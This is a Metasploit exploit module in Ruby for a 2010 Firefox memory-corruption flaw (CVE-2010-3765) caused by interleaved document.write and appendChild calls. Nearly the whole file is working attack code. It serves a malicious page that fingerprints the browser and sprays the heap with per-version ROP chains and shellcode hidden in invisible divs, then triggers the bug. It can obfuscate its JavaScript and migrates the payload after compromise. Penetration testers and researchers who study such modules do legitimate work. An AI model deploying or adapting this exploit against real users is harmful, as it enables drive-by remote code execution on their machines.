/modules/exploits/windows/browser/mozilla_interleaved_write.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :ua_name => HttpClients::FF,
  #  :ua_minver => "3.6.8",
  #  :ua_maxver => "3.6.11",
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :javascript => true,
  #  :rank => NormalRanking,
  #  :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mozilla Firefox Interleaved document.write/appendChild Memory Corruption',
      'Description'    => %q{
          This module exploits a code execution vulnerability in Mozilla
        Firefox caused by interleaved calls to document.write and appendChild.
        This module was written based on a live exploit found in the wild.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'unknown',        # discovered in the wild
          'scriptjunkie'    # Metasploit module, functionality/portability fixes
        ],
      'References'     =>
        [
          ['CVE',    '2010-3765'],
          ['OSVDB',  '68905'],
          ['BID',    '15352'],
          ['EDB',    '15352'],
          ['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=607222'],
          ['URL',    'http://www.mozilla.org/security/announce/2010/mfsa2010-73.html']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "",
        },
      'Platform'      => %w{ win },
      'Targets'        =>
        [
          # Tested against Firefox 3.6.8, 3.6.9, 3.6.10, and 3.6.11 on WinXP and Windows Server 2003
          [ 'Firefox 3.6.8 - 3.6.11, Windows XP/Windows Server 2003',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 25 2010'
      ))

      register_options(
        [
          OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
        ]
      )
  end

  def on_request_uri(cli, request)

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    print_status("Sending exploit HTML...")
    send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end

  def generate_html(payload)
    enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    custom_js = %Q|
function check(){
  var temp="";
  var user=navigator.userAgent.toLowerCase();
  var vara=user.indexOf("windows nt 6.1");
  var varb=user.indexOf("windows nt 6.0");
  var varc=user.indexOf("firefox/3.6.8");
  var vard=user.indexOf("firefox/3.6.9");
  var vare=user.indexOf("firefox/3.6.10");
  var varf=user.indexOf("firefox/3.6.11");
  if(vara==-1&&varb==-1&&varc!=-1&&vard==-1&&vare==-1&&varf==-1){
    temp="8";
  }
  else if(vara==-1&&varb==-1&&varc==-1&&vard!=-1&&vare==-1&&varf==-1){
    temp="9";
  }
  else if(vara==-1&&varb==-1&&varc==-1&&vard==-1&&vare!=-1&&varf==-1){
    temp="10";
  }
  else if(vara==-1&&varb==-1&&varc==-1&&vard==-1&&vare==-1&&varf!=-1){
    temp="11";
  }
  else {
    return temp="0";
  }
  return temp;

}
function dedede(argsu){
  var i;var sunb = "";
  for (i = 0; i < argsu.length; i++){
    sunb += String.fromCharCode(parseInt(argsu[i], 16));
    }
  return unescape(sunb);
}
function code(beastk){
  var nop = "";
  var len = beastk.length;
  for (i = 0; i < len;) {
    nop = nop + "m" + beastk.substring(i, i + 5);
    i = i + 5;
  }
  nop = nop.split("m").toString();
  var temp = new Array();
  for (j = 0; j < nop.length; j++) {
    if (nop.charCodeAt(j).toString(16) == "2c") {
      temp.push("25");
    }
    else {
      temp.push(nop.charCodeAt(j).toString(16));
    }
  }
  return dedede(temp);
}
function getatts(str){
  var cobj=document.createElement(str);
  cobj.id="testcase";
  document.body.appendChild(cobj);
  var obj=document.getElementById("testcase");
  var atts = new Array();
  for(p in obj){
    if(typeof(obj[p])=="string"){
      atts.push(p);
    }
  }
  document.body.removeChild(cobj);
  return atts;
}
var chk=check();
var bk="mp.ojsyex5";
var array = new Array();
var ls = 0x100000-(bk.length*2+0x01020);
var retaddr ="";//////////////////////111111111111111111111111111111
if (chk == "0") {
  location.href = "about:blank";
}
else {

    if(chk=="8"){
      retaddr=code("u0d0du0d0d");
      }
    if(chk=="9"){
      retaddr=code("uef52u100a");
      }
    if(chk=="10"){
      retaddr=code("ub8b7u1029");
      }
    if(chk=="11"){
      retaddr=code("u4bc8u1000");
    }

  var ropstr = retaddr;
  while (ropstr.length < (0x85750 - 0x1000) / 2) {
    ropstr += retaddr
  };

  ///////////////////////////////2222222222222222222
  var sunb="";
  var sun8inner = document.getElementById("sun8").innerHTML;
  var sun9inner = document.getElementById("sun9").innerHTML;
  var sun10inner = document.getElementById("sun10").innerHTML;
  var sun11inner = document.getElementById("sun11").innerHTML;
  var shellcodes = document.getElementById("suv").innerHTML;
  if(chk=="8"){
      sunb=sun8inner;
      }
  if(chk=="9"){
      sunb=sun9inner;
      }
  if(chk=="10"){
      sunb=sun10inner;
      }
  if(chk=="11"){
      sunb=sun11inner;
      }
  ropstr += code(sunb + shellcodes);
  for (u = 0; u < 8; u++) {
    retaddr += retaddr;
  }
  while (ropstr.length < ls) {
    ropstr += retaddr;
  }
  var lefthalf = ropstr.substring(0, ls / 2);
  ropstr = "";
  for (i = 0; i < 0x200; i++) {
    array[i] = lefthalf + bk;
  }
  ////////////////////////////////////333333333333
  if(chk=="8"){
    retaddr=code("ub8a7u1029");
  }
  if(chk=="9"){
    retaddr=code("uab07u1006");
  }
  if(chk=="10"){
    retaddr=code("u8247u1009");
  }
  if(chk=="11"){
    retaddr=code("uf7e7u1017");
  }
  for (i = 0; i < 16; i++) {
    retaddr += retaddr;
  }
  ropstr = retaddr;
  while (ropstr.length < ls) {
    ropstr += retaddr;
  }
  lefthalf = ropstr.substring(0, ls / 2);
  ropstr = "";
  for (i = 0x200; i < 0x500; i++) {
    array[i] = lefthalf + bk;
  }

  var tags = new Array("audio", "a", "base");
  for (inx = 0; inx < 0x8964; inx++)
    for (i = 0; i < tags.length; i++) {
      var atts = getatts(tags[i]);
      for (j = 0; j < atts.length; j++) {
        var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] + ">" + tags[i];
        document.write(html);
      }
    }
}
    |

      if datastore['OBFUSCATE']
        opts = {
          'Symbols' => {
            'Variables' => %w{ atts temp vara varb varc vard vare varf argsu beastk nop tags retaddr
              ropstr lefthalf bk sunb shellcodes sun8inner sun9inner sun10inner sun11inner array chk },
            'Methods'   => %w{ getatts code check dedede }
          }
        }

        custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts).obfuscate(memory_sensitive: true)
      end

    return <<-EOS
<html>
<body>
<div style="visibility:hidden;width:0px;height:0px">
<div id=sun8>ub8acu1029u0d00u0d0du0d00u102du1000u0d00u102du1000u8710u1018ub288u1086u127cu1004udc24u1009u102du1000u0000u0000u1000u0000u1000u0000u0040u0000u1af1u1000u9090u0febu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u5b58u1889u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000ufb83u74ffu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u830bu04c0u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uf3ebue890u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uffecuffffu7be4u1005u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004udc24u1009</div>
<div id=sun9>u2794u1000uc288u1082u3e38u1000u6cd4u100bu1016u1000u0000u0000u1000u0000u1000u0000u0040u0000uce22u1003u9090u0FEBu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u5B58u1889u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFB83u74FFu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u830Bu04C0u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uF3EBuE890u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFFECuFFFFu9602u1001u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u6cd4u100b</div>
<div id=sun10>uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029u20F0u1011u2288u1082u428au1000u7676u1016ub8b7u1029u0000u0000u1000u0000u1000u0000u0040u0000u9405u1003u9090u0FEBuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u5B58u1889uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFB83u74FFuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u830Bu04C0uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uF3EBuE890uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFFECuFFFFuE541u1001u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u7676u1016</div>
<div id=sun11>u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u83cau1000u0280u1083u3b5au1000u8ef4u100au4bc8u1000u0000u0000u1000u0000u1000u0000u0040u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u8ef4u100a</div>
<div id=suv>#{enc_code.split("%").join}uffffuffffuffffuffff</div>
</div>
<body>
<script type="text/javascript">
#{custom_js}
</script></body></html>
EOS

  end
end